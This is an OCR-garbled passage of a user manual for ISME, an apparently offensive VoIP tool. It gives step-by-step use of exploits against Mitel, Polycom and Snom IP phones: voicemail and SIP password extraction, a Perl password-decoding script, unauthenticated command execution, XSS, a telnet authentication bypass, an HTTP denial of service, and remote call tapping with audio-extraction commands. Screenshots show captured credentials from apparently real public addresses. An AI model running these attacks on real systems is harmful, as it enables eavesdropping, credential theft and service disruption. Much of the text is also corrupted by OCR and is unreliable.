ILaunch attack - Extension List

122, 0806568027441 10B868AE41 1561 2D TEE

121, P4A2TT8027A411DB865EE4115B1207EE
123, AD21B00027AE1 1DEG0T6E4115E12DTEE

Durand, 122, , D8065BB027A411DEE68EE411581 2D TEE
Dupont, 121, , F4A27780272411D6668FE411561 2D TEE
Rouger, 123, , 659A6A0027AE11DEE068E4115E1 2D TEE
........... END--- — o= =
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Voicemail password
If successful, the script will ask for a directdoysave the password file and confirm that the

exploit is successful.

AND I Save s |
Directory: {usersicedrichailetismeiser_data  — |
[ aastrata [0 vmald.e

[0 e bt

[ dnsresalvarion 2

[ polycom.td

[ test main menu td

[ venadll 721 6.1.246.04

[ wmaiz ta

i~ |.=

File pame: || ]. save |

Launch attack - Woicemail Password

Woicemail password file successfully created in /Users/cedrichaillet/isme/user_d
ata/wmaild. txt

ok ok e e END - 2 2 2 2

Once done, it is necessary to edit voicemail fidimd the information (I did not know yet
how to edit it through script. Strange format, tsmust be handmade).

xNoUserb-6B2z'U

a[=X
--6???}??}??1kﬁ'ﬁﬁﬁ?@ﬂ?aa\bad*&SIFDcfaultSIPDeFau'itSlPDnFnultb
byyyyalbab<b

4 abyyyya=b.Unknownh b

. Agburandl2? VE2Zh321p-sRestreintDupontDupontd[ 'nlla[xk

5 -Byyyyyyyyyik¥0671710730yyyy?80?0alb&dA122Durand122b

- byyyytsa!bab<b

6 ab¥yya=b. Llnknownh

- A.a{]upont- V nProtcgem:w nlia [ =X

7 -o:,'rivir}}ijfiijrik%E?ZSGSlSnyyy’@D"na\bSd"&+33148@3?15@Dup0nt|3314393?158b
+ byyyytsalbab<b

8 abXyya-b.Unknownh b

. AéRougerBDF-f123 VEZIJE588D-50upontDuponte] ' BUha[xk

9 -gPte,

- "[yyyyik\yyyy?8D?aa)b&dA123Rouger123b

. byyyytsalbabeb

CE TR LU

10 ?b\j'r:}a—h.Unknonnh b
« A
[] User extension [ Voicemail password

Other information to exploit: “config/password »

Returns binary config of station. Password mustriieded with the following script.

#!/usr/bin/perl -w

$s = $ARGV[ 0] ;
$psl = "";

$ps2 :

# $PASS:
# 0x10 for extension
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# Ox11 for systemunit

$PASS1
$PASS2

= 0x10;
= 0x11;
for($i=0; length($s) !'= 0; $s = substr($s,1)) {
$c = unpack("C', $s);
$nc = $c + $PASS1 - $i;
$psl .= pack("C', $nc);
$nc = $c + $PASS2 - $i;
$ps2 .= pack("C', $nc);
$i ++;
}

print "User password: $psl\nStation password: $ps2\n";
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7.5- Mitel AWC: Unauthenticated command execution

7.5.1- Description

Vulnerability: Unauthenticated command execution within Mitel's AWC
OSYOE-ID: 69934

EDE-ID: 15807

Date: 2271272010

Author: Procheckop

Website Link: http: ffwmmwr. esploit-dhb. comdexploits A5807 7

Patch: wes

DESCRIPTION:

Mitel aundio and Web Conferencing (AWC) is a simple, cost-effective and
scalable audio and web conferencing solution supporting upto 200 ports.
ProCheckUp has discowered that the AWC web uwser interface i1z wvulnerable
to =n uwnauthenticated command execution attack.

Command execution allows Unix commands to be remotely executed with the
permissions associated with the web service account. No authentication
1s required to exploit this sulnerability

WOREAROUND

Ensure that the latest patches hawve been installed.

7.5.2- Run the exploit

Step 1: To launch the attack interface, go to menu “Expler Mitel awc: Unauthenticated
command execution”.

fANO %/ ISME (IP Phone Scanning Made Easy)
| File About
e b
'Scanner | < [Aastra Web Disclosure A
Tools {Alcalel 0XO FTP DoS
Exploits Avaya TFTP Disclosure
Editors |Mitel Web Disclosure
|Mitel XS5
Mitel L i G E

|Polycom HTTP DoS

EPonl:um Weh Disclosure

|SHOM Call Remote Tapping
v v
Mitel Andio and Web Gonferencing (AWG) is a simple, cost-effec rf
tive and scalable audio and weh conferencing solution supporti| |
ng vupto 200 ports. ProCheckUp has discovered that the AWC weh
user interface is wulnersble to an unauthenticated command exe
cution attack. Command execution allows Unix commands to be re

Step 2:Select the type of information and enter AWC |IRlAasbs of the target.

[ W Bl % Mitel AWC: Unauthenticated command execution
File

% User list
~~ Directory list
Enter AWC IP Address (192.168.1.1): !1 92.166.20.56
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Step 3:Launch attack
go to menu “File -> Launch exploit”

H.MNO [x| Mitel AWC: Unauthenticated command execution
File |

Vulherability details
Launch exploit
Save results

92.168.1.1): [192.165.2054

Ezit ienticated command execution within Mitel's AWD |_|

IF the server is not vulnerable, you should seekimal of message come up:

ann | Mitel AWC: Unauthenticated command execution

File

# User list
-~ Directory list

Enter AWC IP Address (192.168.1.1): I‘I 92.166.0,.254

Mitel AWC IP address:192 168.0. 254
Error: Unshle to access the weh portal.
HTTP :Response=HASH(0x100cdccal) - recror_as HIML

(RO [%| Mitel AWC: Unauthenticated command execution

File

# User list
- Directory list

Enter AWC IP Address (192.168.1.1): |1 92.168.20.56

Mitel AWC IP address:do not answer to ping.
Exploit could not he launch.
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Mitel SIP Phone: Web GUI information disclosure

7.6.1- Description

Vulnerability: MITEL IP Phone Web Interface Data Dicleosure Wulnerability
CYE: Under declaration

Date: 23/11/2012

Buthor: Cedric Baillet

Tested on Version: 5330, 5340

Batch: unknown

DAaTAH DISCLOSURE:

The data disclosure wulnerability has been found in section 'TempUserConfigl'
of Mitel IP Phone software. The wolnerability allows the attacker to disclose
the password of the SIP profile that is uvsed to connect te ISP or PBE.

To exploit the wulnerability and diclese the data we need to access the webh GUI
through this wrl http: //address TempUserConfigl.

By editing the source code, we are ahle to see account name, password and SIP
reqistrar fields in clear. &ll the needed information to spoof the identity

of the vser are awvailable ...

WOREAROUND

Disable the web interfaces as soon as possible.

Change defawlt passwords.

Eeep IP address private (public networks are to awoid)

7.6.2- Run the exploit

Select the exploit from Launcher windows.

A MO | ISME (IP Phone Scanning Made Easy)
File  About
Gl e|p|
[Scanner ['Y [nastra web Disclosure N
|Tools Alcatel OXO0 FTP DoS
Exploits Avaya TFTP Disclosure
|Editors Mitel Veb Disclosure |
Mitel X535

Mitel Unauthenticated Command Execution
Polycom HTTF Do3

Polycom Weh Disclosure

SNOM Call Remote Tapping

K
£

iThe data disclosure wulnerability has been found in section 'T
tempUserfonfigl' of Mitel IP Phone software. The wulnerasbility
allows the attacker to disclose the password of the SIP profil
le that is used to connect to ISP or PBX. To exploit the wvulner
jability and diclose the data we need to access the web GUIL thr

LS

As usual, once IP Address/Subnet has been entéedcript could be launch through menu
“File” or launch button = ).

“Positive results” tab: Contains SIP account information that have beentified by the
exploit for specific IP addresses. A positive restbuld provide the following information:

Caller ID

Authentication name (SIP account)
Password (SIP account)

Proxy server

Registrar server

“All logs” tab: contains all information on the tested IP addresse
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ANnN |\ MITEL IP Phane Information Disclosure Vulnerability
| hile

o[>/

-~ IP Subnet to scan with default loginfpassword
Subnet (192.166.1.0/24): ]
# Single IP Phone to scan with default login/password
IP Phone address (192.168.1.1): |50.4.1 06130

-~ Single 1P Phone to scan with specific login/passvrond
IP Phone address {192.168.1.1):
IP Phone login:

IP Phone password: |

. = B .

Details | Positive results | Al logs |

Launch exploit .
Following models are tested: 5212 5215, 5220, 5312, 5320, 5324, 5330, 5340

Mitel phone IP address:50.4.106.130
global SIP paramcters:
‘Caller ID: 1001
Authentication name:1001
Password: FsalByas
Proxy server: sip0l autumnlandcompansy. com
Registrar server: sip0l. autumnlandcompany. com

END

AOO [X| MITEL IP Phone Information Disclosure Vulnerability

| File

4% IP Subnet o scan with default login/password
Subnet (192.168.1.0/24): l5El.4.'I 06.0/24

~- Single IP Phone o scan with default loginfpassword
IP Phone address (192.168.1.1): |

~ 3dingle IP Phone 1o scan with specific loginfpassword
IP Phone address (192.168.1.1): |
IP Phone login: |

IP Phohe password: |

Details | Positive results | All logs |

Launch exploit :
Following models are tested: 5212, 5215, 5220, 5312, 5380, 5324, 5330, 5340

Unzhle to ping Phone Ip address: 50.4.106.1

Unzhle to ping Phone Ip address: 50.4 106 2

Unable to ping Phone Ip address: 50.4.106.3
Unable to ping Phone Ip address: 50.4.106.4
Unable to ping Phone Ip address: 50.4:106.5
Unable to ping Phone Ip address: 50.4.106.6
Urniable to ping Phone Ip address: 50.4.106.7
Unable to ping Phone Ip address: 50.4.106.8
Unable to ping Phone Ip address: 50.4:106.9
Unable to ping Phone Ip address: 50.4.106.10
Uniable to ping Phone Tp address: 50.4 106 11

Saving of “all logs” tab information can be doneatingh file menu or save buttoi_'%l ).
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7.7- Mitel XSS

7.7.1- Description

Vulnerability: MITEL IP Phone Web Interface XSS Wulnerability
CVE: Under declaration

Date: 23/11/2012

Author: Cedric Baillet

Tested on Version: 5330, 5340

Patch: unknowm

DETAILS:

Cross Site Scripting wvulnerability has heen found in &« TempUserConfighddNew &
(URL : http:///TempUserConfighddNew) and allow remote user to inject

arhitrary code.

Bocess Wector: Network exploitable.

Authentication: Required to exploit

Impact Type: Allows unauthorized modification

WORELFR.OUND
Hone

7.7.2- Run the exploit

Select the exploit from Launcher windows:

A0 % | ISME (IP Phone Scanning Made Easy)
File About
£ }II I 4 l[ i
Scanner | "\ [Aastra web Disclosure
Tools | |ficatel 0X0 FTP DoS
Exploits {Avaya TFTP Disclosure
Editors |Mitel Web Disclosure
|Mitel %88 |

|Mitel Unauthenticated Command Execution
EPulycum HTTP Do3

| Palycom Web Disclosure

ISHOM Call Remote Tapping

N1 — T

As usual, once IP Address or subnet has been dntergindows configure area, the script
could be launch through menu “File” or launch batf =—J).

“Details” tab : provides information on the exploit himself.

“Positive results” tab: indicates that XSS possibilities have been foundspacific IP
addresses.

“All logs tab”: provides all information regarding the testing edny the script. They can be
neutral, negative or positive.

Saving of “all logs” tab information can be doneatingh file menu or save butto ! = ).
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anNn |\| MITEL IP Phone Web Interface XSS Vulnerability

| File

[P

% IP Subnet to scan with default login/password

Subnet (192.168.1.0/24): I50.4 1068.0/24
~~ Single IP Phone to scan with default loginfpassword

IP Phone address (192.168.1.1): |EU.4.1 08130

-~ Single 1P Phone to scan with specific loginfpassword

IP Phone address {192.168.1.1):

IP Phone login:

IP Phone passwori: |

Details | Positive results | Al logs |

Launch exploit
Following models are tested: 5212, 5215, 5220, 5312, 5320, 5324, 5330, 5340

50.4.106.130: WARNING, positiwve to HSS.

anmM |\| MITEL IP Phone Web Interface XSS Vulnerability

| hile

[b| 1

4% IP Subnet to scan with default login/password

Subnet (192.168.1.0/24): 150.4.1 06.0/24

~ Single IP Phone to scan with default loginfpassword

IP Phone address (192.168.1.1): |50.4.1 0613
~~ Single IP Phone to scan with specific loginfpassword

IF Phone address (192.168.1.1):

IP Phone login:

IP Phone passwaort: |

Details | Positive results | All logs |

Unable to ping Phone Ip address: 50,4 106,131
Unisble to ping Phone Ip address: 50.4.106.132
Unable to ping Phone Ip address: B0.4.106 133
Unable to ping Phone Ip address: 50.4.106.134
Unable to ping Phone Ip address: 50,4, 106 135
Uniable to ping Phone Tp address: 50.4. 106 136
Unable to ping Phone Ip address: 50.4.106.137

Mitel phone IP address:50.4.106.138
Unable to get web page or no XSS wvulnerability.

Unzble to ping Phone Ip address: 50.4.106.139

Unzble to ping Phone Ip address: 50.4.106. 140

Unable to ping Phone Ip address: 504 106 141

Unable to get web page or no XS5 wulnersbility,

Uniable to ping Phone Ip address: 50.4 106 143

Mitel phone IP address:50.4.106.142 J
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7.8- Polycom HDX telnet authentication bypass

7.8.1- Description

Volnerability: Polycom HDX telnet service avthorization bypass
OSWDE: 90195

Date: Public disclosure on Janwacy 18, 2013

Author: Paul Haas of Security-Assessment. com

Tested on Wersion: 3.0.4 and prior

Patch: unknown

DETATLS:

The Polycom HDX is a series of telecommunication snd wideo dewices. The telnet c
omponent of Polycom HDX wideo endpoint dewices is wulnerzble to an suthorizatior
bypass when multiple simultaneovs connections are repeatedly made to the serwvic
e, allowing remote network attackers to gain full access to a Polycom command pi
ompt without avthentication.

bocess Vector: MNetwork exploitable

authentication: No

Impact Type: Loss of integrity

WORFAROUND
Diszhle telnet while waiting for editor patch.

7.8.2- Using ISME to exploit the bypass

Step 1: To launch the attack interface, go to menu “Expler Polycom HDX authorization
bypass” or “Editors->Polycom-> Polycom HDX authation bypass”.

ANM % | ISME (IP Phone Scanning Made Easy)

| File About I

"S"E"afrfner 'ﬁsﬁ [ [Polycom HDX Telnet Authorization Bypass || '\
:Tunls Alcatel |Polycom HTTF Do3
gEpruits Avaya EPuchnm Weh Disclosure
Editors Cisco |Polycom Soundpoint Web Bruteforcer

Mitel

Polycom

3nom

v | £

The Polycom HDE is a series of telecommunication and wvideo dew F_I“
ices. The telnet component of Polycom HDE wvideo endpoint dewi| |
ces 1s vulnerable to an awthorization bypass when multiple sim| ™
ultaneous connections are repeatedly made to the service, alle
wing remote network attackers to gain full access to a Polycom

Step 2:
Select either a subnet to scan or a single Polydb{ device to test.
Enter the subnet (192.169.1.0/24) or a single 1Brésk (192.168.1.1).
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.00 \ Polycom HDX Telnet Authorization Bypass

CISIE

— Configure

~ |IP Subnet to scan for Polycom HDX bypass vulnerability
Subnet (192.168.1.0/24): |

4% Single Polycom HDX to test for bypass vulnerability
IP address (192.168.1.1): |130.208.224.128 |

The script will try to ping the IP address as fiastion. If the result is positive, it will move

forward and try to connect to test the vulnerapil@nly IP Addresses that answer to ping will
appear in the results.

Step 3:Launch attack
go to menu “File -> Launch exploit” or use butt?|

Step 4:Positive result

SO \| Polycom HDX Telnet Authorization Bypass
| File

©|p| |

— Configure

~~ IP Subnet to scan for Polycom HDX bypass vulnerability
Subnet (192.168.1.0/24): |

4 Single Polycom HDX to test for bypass vulnerability

IP address (192.168.1.1): [130208 224 128
Details | Positive results | All logs |
Launching exploit

This should take at least 30s

130.208. 224 . 128: WARNING, positiwve to authorization bypass.

|END

Note: you could see error messages appear in gouirtal while the attack is going on.

Thread 265 terminated abnormally: Can't locate IO/Select.pm: Too many open files at /fopt/local/lib

fperl5/5.12.4/darwin—thread-multi-2level/I10/Socket.pm line 116.
It is just meaning that you are touching a limiyour thread handling capacity. No impact on

the attack itself, save that i would advise to t#uit a second time to be sure that your device
is not vulnerable if the first test was negative.
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7.9- Polycom IP Phone Web Interface Data Disclosure Vulnerability

7.9.1- Description

Vulnerability: Polycom IP Phone Web Interface Data Diclosure Wulnersbility
0SVDE-ID: 73117

EDE-ID: 17377

Date: 08/06/2011

futhor: Pr0T3cTl0n

Website Link: http:/Amor polycom. com

Tested on Wersion: ALL

Patch: unknowmn

DATA DISCLOSURE:

The data disclosure wulnerzbility found in the section of 'Lines' - 'Line 1°'
of 'Polycom IP Phone' software. The wulnerability allows the attacker to
disclosure the password of the username for the phone line that connected.

To exploit the wulnerability and discluse the data we need to access to the
'Polycom IP Phone' by this wrl 'http://address/reg 1. htm'.

Then we can see 1n the source code by the field 'reg.l. auth. password' and then
we see the magic! thats is the password for the uwsername by the sip server.
Now if we already hawe the sip server, username and password so we can connect
to it with any softphone and make our calls.

WOREAROUND

Disable the web interfaces as soon as possible.
Change default passwords.

Eeep IP Address private (public networks are to avoid

RalblatiL___1___ _ L& Rl oL
™

VolP DMZ i e i e ESNT

v Bge W e

— HTTP request on the vulnerable web page

Note: if administrator has handled the vulnerability thgh work around configuration, the
device may be still vulnerable to brute force. @t forget to test it.
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7.9.2- Using ISME to exploit the data disclosure

Step 1: To launch the attack interface, go to menu “Expler Polycom SoundPoint Web

Disclosure”

faNo | ISME (IP Phane Scanning Made Easy)
Fle About
2] 3}
[Scanner 1 '_-f; Aastra Web Disclosure '_-};
Tools Alcatel 0X0 FTP Do3
Exploits Avaya TFTP Disclosure
Editors Mitel Weh Disclosure

Mitel X85

Mitel L | Lo E;

Polycom HTTP DoS

Polycom Web Disclosure |

SMOM Call Remote Tapping

4 4
The data disclosure wulnerability found in the section of 'Lin E
es' -; 'Line 1' of 'Polycom IP Phone' software. The wulnerzhil | |
ity allows the attacker to disclosure the password of the user
r=me for the phone line that connected. To exploit the wulnera
|bility and discluse the data we need to access to the 'Polycom
Step 2:

Select either a subnet to scan or a single IP Phone
Enter the subnet (192.169.1.0/24) or a single 1Bréss (192.168.1.1).

M ™ M |\ Polycom SoundPoint IP "reg_1.html" Information Disclosure Vulnerability

‘ File

% IP Subnet to scan

Enter subnet to scan {192.168.1.0/24): |63.99.26.Uf24
~~ Single IP Phone

IP Phone address to scan (192.168.1.1): |53.99.26.25

The script will try to ping the IP address as fiastion. If the result is positive, it will move
forward and try to connect to the web server. ARlyAddresses that answer to ping will

appear in the results.

A ™ |\| Polycom SeundPoint IP "reg_L.html" Infarmation Disclosure Vulnerability

‘ File

4 IP Subnet to scan

Enter subnet to scan (192.168.1.0/24): |63.99.26.0f24
~~ 3ingle IP Phone

IP Phone address to scan {(192.168.1.1): l63.99.2ﬂ82

HTTP: ;Response=HASH (0x100c06850) - *ercor_as HIML

Error: Unable to get web page.
HTTP : :Response=HASH (0x100z06820) - »error_as HTML

Error: Unable to get web page.
HTTE : : Response=HASH (0x100cTef£8) - »error. as HTML

UserID: 1009835
UserPassword: 100

Polycom Soundpoint IP address:63, 99, 26 65
Erroc: Unsble to get web page.
HTTP : : Response=HASH (0x100cf2210) - rerror_as HTML

Erroc: Unable to get weh page.
HTTP: :Response=HASH (0x100b5d420) - »error_as HTML

Polycom Soundpoint IP address:63. 00,26 82
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Step 3:Launch attack
go to menu “File -> Launch exploit”

A M M) |\ Polycom SoundPoint IP "reg_1.html" Information Disclosure Vulnerability

= |

Vulnerahility details

2.168.1.0/24): |
Launch exploit
Save scan results
(192.168.1.1); |63.99 26.26 |

| Exit

e e A

A positive result will provide UserID/Password amegjistrar.

Polycom Soundpoint IP address:&3. 99, Z6. 26
UserID: 1009835

UserPassword: 100

Registrar: od.202.62.21

Step 4:Save results
Results appear in the bottom of the user interftlayertheless, they can be saved to a text
file for a later analyze.

go to menu “File -> Save scan results”

M O O x| Polycom SoundPoint IP "reg_1.html" Information Disclosure Vulnerability

File

# IP Subnet to scan

Enter subnet to scan (192.168.1.0/24): IEE.SS.EE 024

~ Single IP Phone

IP Phone address to scan (192.166.1.1); |63.99.26.254

I AN % Save As E—— N
Polycom Sour

lEcror: Unabl Directory: fUsersicedrichailletisme/user_data —nl
HTTE: :Respor

1|1 635.99.26.26.0¢
Polycom Soug
Error: Unabl D?SH_?'N .
HTTP - :Respor | [ Efrali IP Alive bt
[7test main merutt o

Polycom Sour
Error: Unabl
HTTE : :Respon

lIPolycon Soug
l[Error: Unab] |~ |~
iHTI‘P: :Respor
liPolycom Sou
Error: Unabl
HTTE: :Respof ies of typa _-| Cancel I

File name: I | ‘ﬁaTl ________

Polycon SoundpolrenIEmaoiresenae oo
[Erroc: Unable to get webh page.
HTTP: :Response=HASH(0x1009fbfd8) —serror_as HTML

END

More information:
1- A class C subnet is scanned in 25 minutes on mypaten Time depends of the
number of found web servers and their time to ansegpests.
2- The implementation of threads may provide bettefopmance...
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7.10- Polycom IP Phone Web Interface Denial of Service

7.10.1- Description

| ® DM\ Polycom SoundPoint [P Phones HTTP Denial of Service Vulnerability
File

IP Phone address (192.168.1.1): |

Volnerability: Polycom SoundPoint IP Phones HITP Denial of Serwice Wulnersbility
O0SVDE-ID: 70897 i
Date 31/01/2011

Author: Pawel Gawinek

Wehsite Link: http:/farchives.nechapsis. com/archives/fulldisclosure 2011-01,/0495
chtml .

Devices: SoundPoint IP models 320, 321, 330, 331, 335, 430, 450, 550, 560, 650,6
70, 5000, e000, 7000

Patch: Awailable from polycom

Deny of service:

Polycom SoundPoint IP dewices (IP phones) are wulnerable to Denial of Secwice
attacks. Sending HITE GET request with broken Authorization header effect a
device restart after ~60 seconds.

7.10.2- Using ISME to exploit the DoS

Step 1:To launch the attack interface, go to menu “Expler Polycom HTTP DOS”

fANAMA \| ISME (IP Phone Scanning Made Easy)
File About |
G e| b5
Scanner .E Aastra Web Disclosure
Tools Alcatel OXO FTP DoS
Exploits Avaya TFTP Disclosure
Editors Mitel Web Disclosure
Mitel X35
Mitel Unauthenticated C | Execution

Polycom HTTP Do3 |
FPolycom Weh Disclosure
SHOM Call Remote Tapping

4

Polycom SoundPoint IP dewices (IP phones) are wvulnersble to De
nial of Serwvice attacks. Sending HTTP GET request with broken
authorization header effect a device restart after ~60 seconds

N <

Step 2:Enter IP Address of the target

M ™ M |\ Polycom SoundPoint IP Phones HTTP Denial of Service Vulnerability
File |

IP Phone address (192.168.1.1): 714374219 |

Vulnerability: Polycom SoundPoint IP Phones HITP Denial of Service Wulnerability
QEVIB-ID: 70697

Date 3140172011

Author: Pawel Gawinek

Wehsite Link: http: //farchives. nechapsis. com/archives/fulldisclosure/2011-01/0405
html

Devices: SoundPoint IP models 320, 321, 330, 331, 335, 430, 450, EL50, 560, 650,6
70, 5000, 6000, 7000

Patch: Available from polycom

Deny of service:

Polycom SoundPoint IP devices (IP phones) are wulnerable to Denial of Service
attacks. Sending HTTP GET recquest with broken Authorization header effect a
device restart after ~60 seconds.
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Step 3:Launch attack
go to menu “File -> Launch exploit”

00 |\ Polycom SoundPoint IP Phones HTTP Denial of Service Vulnerability
File |

Vulnerahility details

Launch exzploit m SoundPoint IP Phones HTTP Denial of Service Vu]_nera.bilityﬁ
Exit

l58.1 Ay 714374219 |

Step 4:wait for 60s, the device should have reboot ihesble.

A M O\ Polycom SoundPoint IP Phones HTTP Denial of Service Vulnerability
File |

IP Phone address (192.168.1.1):(714374.214 |

Launch exploit

IKilling charge sent.

Wait 60s for effect.

20 s

40 =

60 s

Wulnerahle dewice should hawe restart by now.

Note: If the connection to the device’s web interfacaimsuccessful, an error message will
appear. )

AN M\ Polycom SoundPoint IP Phones HTTP Denial of Service Vulnerability

File |

IP Phone address (192.168.1.1):[1.1.1.1] |

Launch exploit

Unzble to connect. Job terminated
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7.11- SNOM VoIP Phone Remote Call Place and Remote Tap

7.11.1-

7.11.2-

Description

Vulnerability: SNOM ¥oIP Phone Remote Call Place and Remote Tap

Date: 10092010

Buthor: Shawmn Merdinger

Website Link: http://woipsa. org/blog/2010/09/07/its-a-feature-remote-tapping-a-5
rnom-wolp-phone

DESCRIPTION:

Some Snom VoIP phones hawe a feature called -PCAP Trace- that allows, wia the we
b interface, the start/stop and download of a PCAP file on the Snom WoIP phone.
The Snom PCAP Trace feature does hawe limitations in that it the PCAP data is st
ored in a circular buffer becauwse of memory limitations, and that ensbling PCAP
capture can impact the phoned’:x{8031%x{99}ts performance (no surprise here). Still
. 1t 15 a scary feature that if not secured creates an attack wector where a rem
ote attacker can literally tap your phone.

To start/stop a PCAP on the Snom VoIP phone, one just clicks on the -Start- or -
Stop- buttons on the phone webpage. After the capture is complete, an attacker c
an then download the PCAP trace and extract the audio using Wireshark or the ama
zing command-line RTPbrezsk by Michele Dallachiesa.

So, combining the web page place call feature with the PCAP trace feature, an at
tacker can make a Snom WoIP phone call any nomber and then the attacker can capt
ure the call remotely on the Snom ¥oIP phone. For the final touch, an attacker c
an also delete the call record of the last call made, thereby wiping the apparen
t record of the call, at least on the Snom ¥oIP phone itself.

WORKAROUND

Disable the web interfaces as soon as possible.

Change default passwords.

Eeep IP Address priwate (public networks are to awoid)

Run the exploit

Step 1: To launch the attack interface, go to menu “Explo™> SNOM Call Remote
Tapping”.

(L laNa) | ISME (IP Phone Scanning Made Easy)

File About

= F‘l

L "I i I _|...j
[Scanner | [\ [Aastra Web Disclosure ™
Tools |Alcatel OXO FTP Dos

Exzploits \Avaya TFTF Disclosure
|Editors |Mitel Weh Disclosure

|Mitel X33

|Mitel Unauthenticated Command Execution
|Polycom HTTP DoS

|Polycom Web Disclosure

|SHOM call Remote Tapping Il i

£

|Some Snom ¥oIP phones have a feature called -PCAP Trace- that ]3
lallows, wia the web interface, the start/stop and download of “E

.
e

|a PCAP file on the Snom VoIP phone. The Snom PCAP Trace featur
ge does have limitations in that it the PCAP data is stored in
|a circular buffer because of memory limitations, and that enab | |

Step 2:Enter IP Address of the target and phone numbealto

[ M ) |%| SNOM VolP Phone Remote Call Place and Remote Tap

| File |

Enter phone's IP address (192.168.1.1): |199.234.64.229
Enter phone number to call: 0033156554321]
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Step 3:Launch attack

go to menu “File -> Launch exploit”

ISME v0.12

[ NN || SNOM VolIP Phone Remote Call Place and Remote Tap

File

T L (192168.1.): [199234 64229
Vulnerability details
all: [ou331s6s54321]
Launch exploit
Save results 70IP Phone Remote Call Place and Remote Tap
Exit o

The script may be able to connect to the embedddxdserver, but if not authenticated (or the
connection is refused), things won’t go furtherthis case, log files will be created but will

be empty (zero or just a few octets).

¥ | user_data
| logz_213.157.83.54
& del_call_leg.html
& place_call.html
@ start_pcap.html
& stop_pcap.html
trace_213,157.83.54. pcap

aujourd'hui, 23:07
aujourd'hui, 22:44
aujourd'hui, 23:05
aujourd'hui, 23:04
aujourd'hui, 23:04
aujourd'hui, 23:05
aujourd'hui, 23:05

Dossier
Dossier
HTML Document
HTML Document
HTML Document
HTML Document

Document

950 octets
550 octets
950 octets
950 ocrets

0 octets

Note: considering the many phones that | havedestlink reasonable to consider than most
phones have been patched. Nevertheless, the iscipéresting to test Voice IPS.
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If an authorization is needed or the Connectionsedl by the host the ollowing log will come
up.

AN ) SNOM VolIP Phone Remote Call Place and Remote Tap
File I

Enter phone's IP address (192.168.1.1): |1 091701668172
Enter phone number to call: IDDSS‘I SEEE4321]
——————————————————————————————— STBRT —c—-—-—o—m—smmommmmeo oo T

--Making logz directory

--Starting Taj

--2012-08-13 22:34:35-~ http: /7109 170 168 172 pcap htm

Connexlon wvers 109.170.168.172:80. . cormecths. )

requiite HTTP transmise, en attente de la réd@ponse. . 401 Unauthorized
A%x{B9ICHEC d'autorisation.

--Placing call

--2012-09-13 22:34:35-- http://100, 170 168 172/

Connexion vers 109.170.168.172:80. . . connecti®

requiiite HTTP transmise, en attente de la rdéponse . 401 Unauthorized
A%< {B9ICHEC d'avtorisation.

--5leeping 30 seconds

--stopping Tap

--2012-09-13 22:35:06-~ http: /7109 170 168 172/ pcap. htm

Connexion vers 109 170 168 172:80 . cormectis.

requiite HTTP transmize, en attente de la rA@ponse.. 401 Unanthorized
AMc{BYCHEC d'autorisation.

-- Grabbing call capture pcap from target phone

--2012-09-13 22:35:06—— http: /71090170, 168, 172/ trace. peap

Comnexion vers 109.170.168.172:80. .. cormectis,

requAlte HTTP transmize, en attente de la rA@ponse. . 401 Unanthorized
A%:{BYYCHEC d'autorisation.

-- Deleting the call record from the phone web interface

--2012-09-13 22:35:06-- http;/ /108 170,168 172 adr, htn?dialeddel=1

Note: if rtpbreak and sox are installed on the PC rugitie exploit, a wav file can be
extract from the pcap file automatically.

1- Go to “Exploits”

2- Open in a text editor “snom_call_tap.sh”

3- Uncomment lines 50 to 71

5@ ##run ritpbreack to extroct the audic from the pcap

51 ##obtain rtpbreak From here: http://dallachiesa.com/code/ripbreaks

52 ##rtpbreak has dependencies detoiled here: http://dallechiesao, comfcode/rtpbreak/doc/ripbreak_en.html
53 ##rtpbreak on Ubuntu requires libnetl, libnetl-dev, libpcap®.?, libpcap®.?-dev

54

55#% echa " "

56 # echo Dumping audio from pcap file
57 # echo "

58 # rtpbreak -P2 -t108 -T18@ -d logz_%$1 -r logz_3%1/trace_%1.pcap

to convert the extracted aqudio to wav Format

62 # echo Converting to wav
64 # echo "

65 # sox -r8008 -cl -t ul logz_$1/rtp.@.0.raow -t wav logz_$1/@.wav

66 # sox -rE0B@ -cl -t ul logz_%$1/rtp.@.1.row -t wav logz_%$1/1.wav

67 # sox -m logz_%$1/0.wav logz_%$1/1.wav call_%$1.wav

68

6% # echo " "

7@ # echo Complete -- wou can listen to the coptured call ot call_%$1.wawv
71# echa "
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Features to come

Implement multi threading to gain in efficiency

Implement SIP UA to get:

- SIP Option

- SIP user agent information

Support ip phone 7921 (miss a proper html codeyairgg), etc ...
Implement Cisco Ringer & Forwarder in SIP

Voiper GUI

Insert the capacity to stop a scan on Aastra/Paly8dOM brute force.

Cisco extension mobility brute force.
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Annex A- Limitation due to Cisco IP Phone language and how to
overcome it

Right now, ISME has been test on some French agtidirmodel of Cisco IP Phone. Since
the informations are gathered by analyzing the HTddtde, the keywords will be false if it's
Spanish. Nevertheless, it could be easely bypassdding of few lines in the sub function
“AnalyzeHTML” of ISME script.

AnalyzeHTML function is mainly regular expressianfind the right keyword.
Step 1:connect to a Cisco IP Phone web interface (hiffpatidress) and ask for html source
code,

Step 2: Add a new elsif case with a copy/past

499 sub AnalyzeHTML

491 {

492 flScontent =~ /Model Number<\/Bs<\/TD=\W?<td width=20><\/TO>\W?<TD><B>{[\+\/0-9A-Za-2-J+)<\/B><\/TD=/)
493 {

4094 # working out model type if the web page is in english

495 3IPPhone_Type = $1;

496 # print "IP Phone type: $1\n";

497 }

498 elsif(lcontent =~ /Model Number<h\/B=<\/TD=\W\W<td width=20><\/TD=\W\W<TD><B><strong>{ [\ \/B-0A-Za-z-J+)<\/strong=<\/B><\/TD>/)
439 {

509 # working out model type if the web page is in english

581 $IPPhone_Type = §1;

582 # print "IP Phone type: $1\n";

503 }

504 eleif{fcontent =~ /Numéro du modéle<\/B><\/TD="\W?<td width=20><\/TO>WW2<TD><B>([\+\/0-0A-Za-2-]4)<\/B><\/TD>/)
505 {

586 # working out model type if the web page is in french

a7 $IPPhone_Type = $1;

cas #print "IP Phone type: $1\n";

509 }

518 else

511 {

512 $IPPhone_Type = "Unknown";

513 # print "IP Phone type: Unknown\n";

514 }

Step 3: replace with the right keyword in Spanish langualy®reover, if you are an
experience user in regular expression you may émdra better way to do the job than what
I've come out with.

Step 4:Do it for every item the script is looking at.

Step 5:same thing as step 1 to 4 for FIND_SERVERS subtion.
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Annex B- How is ISME determining an open UDP Port ?

Determining if a UDP port is open or not is notemsy as with TCP. | am doing it by
verifying if | get an ICMP unreachable when tryitige UDP port. If it is the case the port is
close, else, he is open or the ICMP unreachablddéas filtered...

There may be more effective ways but | do not kmbwhem. Anyway, here is my code for
further analysis.

#---UDP SB6B-----------m--
my Ficmp_timeout=2;

